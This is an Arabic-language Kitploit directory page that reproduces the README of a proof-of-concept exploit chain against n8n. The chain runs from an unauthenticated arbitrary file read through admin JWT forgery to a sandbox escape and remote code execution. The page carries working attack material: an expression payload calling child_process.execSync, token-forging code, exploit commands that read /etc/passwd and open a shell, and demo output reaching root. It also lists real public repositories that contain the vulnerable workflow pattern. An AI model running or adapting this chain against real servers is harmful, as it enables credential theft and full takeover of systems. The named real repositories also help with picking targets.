Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2026-21858 — POC لـ CVE-2026-21858 | Kitploit
أدوات/GitHubGitHub/fomovet/cve-2026-21858
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمرتطوير الحمولات
GitHubfomovet/cve-2026-21858

cve-2026-21858

POC لـ CVE-2026-21858

عرض المستودع
11منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-21858 + CVE-2025-68613 - سلسلة n8n الكاملة

قراءة ملفات عشوائية بدون مصادقة ← تزوير توكن المسؤول ← تجاوز العزل ← RCE

تنزيل الأداة
CVECVE-2026-21858 (AFR) + CVE-2025-68613 (RCE)
CVSS10.0 + 9.9 (حرِج)
المتأثر<= 1.65.0 (AFR) / >= 0.211.0 (RCE)
الإصلاح1.121.0 (AFR) / 1.120.4+ (RCE)
الإفصاح2026-01-07 11:09 UTC
الاسم الرمزيNi8mare
الإسنادDor Attias (Cyera)
الاستغلالChocapikk
العمليةآلي بالذكاء الاصطناعي: فرق التصحيح → إعادة الإنتاج → المختبر → الاستغلال (~9 ساعات بعد الإفصاح)
النوعإثبات مفهوم - ليس استغلالًا شاملًا (يتطلب إعداد سير عمل محدد، انظر القيود)

TL;DR

سلسلة RCE كاملة بدون مصادقة على n8n:

  1. CVE-2026-21858 - الالتباس في نوع المحتوى (Content-Type) → قراءة ملفات عشوائية
  2. قراءة الإعدادات وقاعدة البيانات ← تزوير توكن JWT للمسؤول
  3. CVE-2025-68613 - حقن التعبيرات ← تجاوز العزل ← RCE

الاكتشاف

التعرض مرتبط بالإصدار. من حيث التعرض، توجد نسخ n8n ضعيفة متاحة للجمهور.

نتائج LeakIX: عرض النسخ المعرضة

نتائج اكتشاف LeakIX

لماذا هذا الاستغلال؟

طُوّر هذا الاستغلال بشكل مستقل عن تقرير Cyera (وقد اكْتُشف هذا التقرير بعد اكتمال التطوير). أبرز الاختلافات:

Cyera (البحث الأصلي)هذا الاستغلال
قراءة الملفاتتحميل في قاعدة معرفة الذكاء الاصطناعي → الاستعلام عبر الدردشةاستجابة HTTP مباشرة
المتطلبات المسبقةسير عمل دردشة + تكامل ذكاء اصطناعيأي نموذج يحتوي على رفع ملفات
طريقة RCEعقدة "Execute Command" (معطلة افتراضيًا)حقن التعبيرات (يعمل على التثبيتات الافتراضية)
الأتمتةعرض يدوي/مفاهيميسكربت Python آلي بالكامل

يتطلب كلا الأسلوبين تكوينات محددة لسير العمل. يحتاج Cyera إلى دردشة + تكامل ذكاء اصطناعي، بينما يحتاج هذا الاستغلال إلى نموذج مع عقدة Respond. انظر القيود للتفاصيل.

سلسلة الهجوم

root@kitploit:~
┌───────────────────────────────────────────────────────────┐
│                     UNAUTHENTICATED                       │
├───────────────────────────────────────────────────────────┤
│  1. Read /proc/self/environ → Find HOME directory         │
│  2. Read $HOME/.n8n/config → Get encryptionKey            │
│  3. Read $HOME/.n8n/database.sqlite → Get admin creds     │
├───────────────────────────────────────────────────────────┤
│                      TOKEN FORGE                          │
├───────────────────────────────────────────────────────────┤
│  4. Derive JWT secret from encryptionKey                  │
│  5. Forge admin session cookie                            │
├───────────────────────────────────────────────────────────┤
│                    AUTHENTICATED RCE                      │
├───────────────────────────────────────────────────────────┤
│  6. Create workflow with expression injection             │
│  7. Sandbox bypass via this.process.mainModule.require    │
│  8. Execute arbitrary commands                            │
└───────────────────────────────────────────────────────────┘

CVE-2026-21858 - قراءة ملفات عشوائية عبر الالتباس في نوع المحتوى

التصحيح

root@kitploit:~
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork

الأسطوري "Merge commit from fork" - عندما ترى هذا، فقد وجد شخص ما شيئًا مثيرًا. 🌶️

السبب الجذري

root@kitploit:~
// BEFORE (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// AFTER (fixed)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

أرسل Content-Type: application/json → تحكّم في filepath → اقرأ أي ملف.

CVE-2025-68613 - حقن التعبيرات لتنفيذ أوامر عن بُعد (RCE)

لماذا هذا الالتفاف؟

يعزل n8n كود المستخدم (عقدة Code، التعبيرات) باستخدام vm2/isolated-vm. ناقلات RCE الأخرى:

التقنيةالحالة
Execute Command Nodeمعطلة افتراضيًا (N8N_ALLOW_EXEC_COMMAND=false)
عقد SSH/HTTPتنفذ على خوادم بعيدة، وليس على مضيف n8n
الهروب من عزل PyodideCVE-2025-68668 - يتطلب Python Code Node
حقن التعبيراتCVE-2025-68613 - يعمل على التثبيتات الافتراضية

استخدمت حقن التعبيرات لأنه يعمل على أي n8n بالإعدادات الافتراضية - دون الحاجة إلى عقد أو إعدادات خاصة. يتطلب تجاوز Pyodide (CVE-2025-68668) عقدة Python Code التي قد لا تكون متاحة على جميع النسخ.

الحمولة

root@kitploit:~
={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

تعبيرات n8n لديها وصول إلى this.process.mainModule.require → هروب كامل من العزل.

تزوير التوكن

root@kitploit:~
# JWT secret derivation
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# JWT hash
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# Forge token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

إعداد المختبر

root@kitploit:~
docker compose up -d
# Wait ~60 seconds for setup
# Form: http://localhost:5678/form/vulnerable-form
# Creds: [email protected] / ExploitLab123!

الاستخدام

root@kitploit:~
# Read arbitrary file
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# Full chain with command
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# Interactive shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

العرض التجريبي

root@kitploit:~
╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain          ║
║     Arbitrary File Read → Token Forge → Sandbox Bypass → RCE  ║
╚═══════════════════════════════════════════════════════════════╝

[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version: 1.65.0 (VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database: 1327104 bytes
[x] Admin user
[+] Admin user: [email protected]
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK

uid=0(root) gid=0(root) groups=0(root)

القيود

هذا ليس استغلالًا "لاختراق أي n8n". يتطلب ظروفًا محددة لكي يعمل:

المتطلبالوصف
نموذج يحتوي على رفع ملفاتيجب أن يمتلك الهدف سير عمل نموذج يحتوي على حقل رفع ملفات
عقدة Respond to Webhookيجب أن يُرجع سير العمل محتوى الملف في استجابة HTTP
سير العمل مفعّليجب أن يكون سير عمل النموذج مفعّلًا
وصول بدون مصادقةيجب أن يكون النموذج متاحًا للعامة (بدون مصادقة)

مثال على إعداد سير عمل قابل للاستغلال:

root@kitploit:~
{
  "nodes": [
    {
      "name": "Form Trigger",
      "type": "n8n-nodes-base.formTrigger",
      "parameters": {
        "responseMode": "responseNode",
        "formFields": {
          "values": [{ "fieldLabel": "document", "fieldType": "file" }]
        }
      }
    },
    {
      "name": "Respond",
      "type": "n8n-nodes-base.respondToWebhook",
      "parameters": {
        "respondWith": "binary",
        "inputDataFieldName": "document"
      }
    }
  ],
  "connections": {
    "Form Trigger": { "main": [[{ "node": "Respond" }]] }
  }
}

العناصر الأساسية هي: fieldType: "file" + respondWith: "binary". هذا النمط شائع في سير عمل معالجة الملفات (المحوّلات، معالجات الصور، معالجات المستندات).

يعمل في الحالات التالية:

  • النماذج التي تحتوي على عقدة Respond وتُعيد بيانات ثنائية (محوّلات الملفات، المعالجات)
  • تثبيتات n8n الافتراضية (حقن التعبيرات غير محظور)
  • النشر المحلي/عبر Docker (قاعدة البيانات والإعدادات مخزنة على القرص)

لا يعمل في الحالات التالية:

  • النماذج التي لا تحتوي على عقدة Respond (يُقرأ الملف لكن المحتوى لا يُعاد في استجابة HTTP)
  • النماذج التي تتطلب مصادقة
  • n8n Cloud (بنية مختلفة، لا وصول للملفات المحلية)
  • الإصدارات المصححة (>= 1.121.0)

ملاحظة: يتم تفعيل الثغرة (قراءة الملفات العشوائية) بغض النظر عن طريقة استخراج البيانات. عقدة Respond هي مجرد إحدى طرق استرجاع المحتوى. قد تعمل طرق بديلة (OOB، عقد إخراج أخرى) اعتمادًا على إعداد سير العمل.

الاستغلال الأعمى: إذا لم توجد عقدة Respond، فإن n8n ما زال يقرأ الملف لكن لا يمكن استخراجه عبر استجابة HTTP. ستكون هناك حاجة إلى تقنيات بديلة (OOB، التوقيت).

أمثلة واقعية

النمط القابل للاستغلال (Form Trigger + رفع ملفات + Respond to Webhook) موجود في مستودعات GitHub العامة.

ملاحظة: مستودعات سير عمل n8n الشهيرة (>100⭐) لا تستخدم هذا النمط. هذه مشاريع مجتمعية/شخصية:

ملف سير العملحقول الملفrespondWith
ifcpipeline/.../ifcpipeline.jsonIDS, IFC (x2)binary ⚠️
nano-banana-studio/.../03_multi_asset_processor.jsonصور، صوت، Markdownjson
ticket-omnichannel-chat/.../Knowledge_base.jsonمستند (PDF)text
ai_resume_project/resume_rag.jsonرفع ملفallIncomingItems
fkgpt-portfolio/.../audio-transcription-analysis.jsonملف صوتيtext
n8n-backup/.../K3DwHQs0fnnm5UK0.jsonملفtext
voltixLandingPage/.../chatbotvoltix.jsonرفع ملفdefault
n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.jsonملفdefault
8n8Workflows/.../3WoSqiBnZ56RtWMb.jsonارفع مستندكdefault
learn_earn_ai_insta/.../My workflow.jsonارفع ملفكdefault
finintworkshop/.../API using n8n (ToT).json

هذه سير عمل مساهم بها المجتمع. لا تستخدم أي قوالب رسمية من n8n.io هذا النمط القابل للاستغلال.

المراجع

  • بيئة Vulhub - بيئة مختبر جاهزة للاستخدام على Vulhub
  • بحث Cyera - التقرير الكامل لـ Ni8mare - البحث الأصلي بواسطة Dor Attias
  • GHSA-v4pr-fm98-w9pg - CVE-2026-21858
  • GHSA-v98v-ff95-f3cp - CVE-2025-68613
  • قالب Nuclei لـ CVE-2025-68613
  • نتائج البحث في LeakIX - نسخ ضعيفة معرّضة
  • Formidable - "المكتبة، وليست الأغنية" (شكرًا لـ Cyera على الضحكة)
ملف
json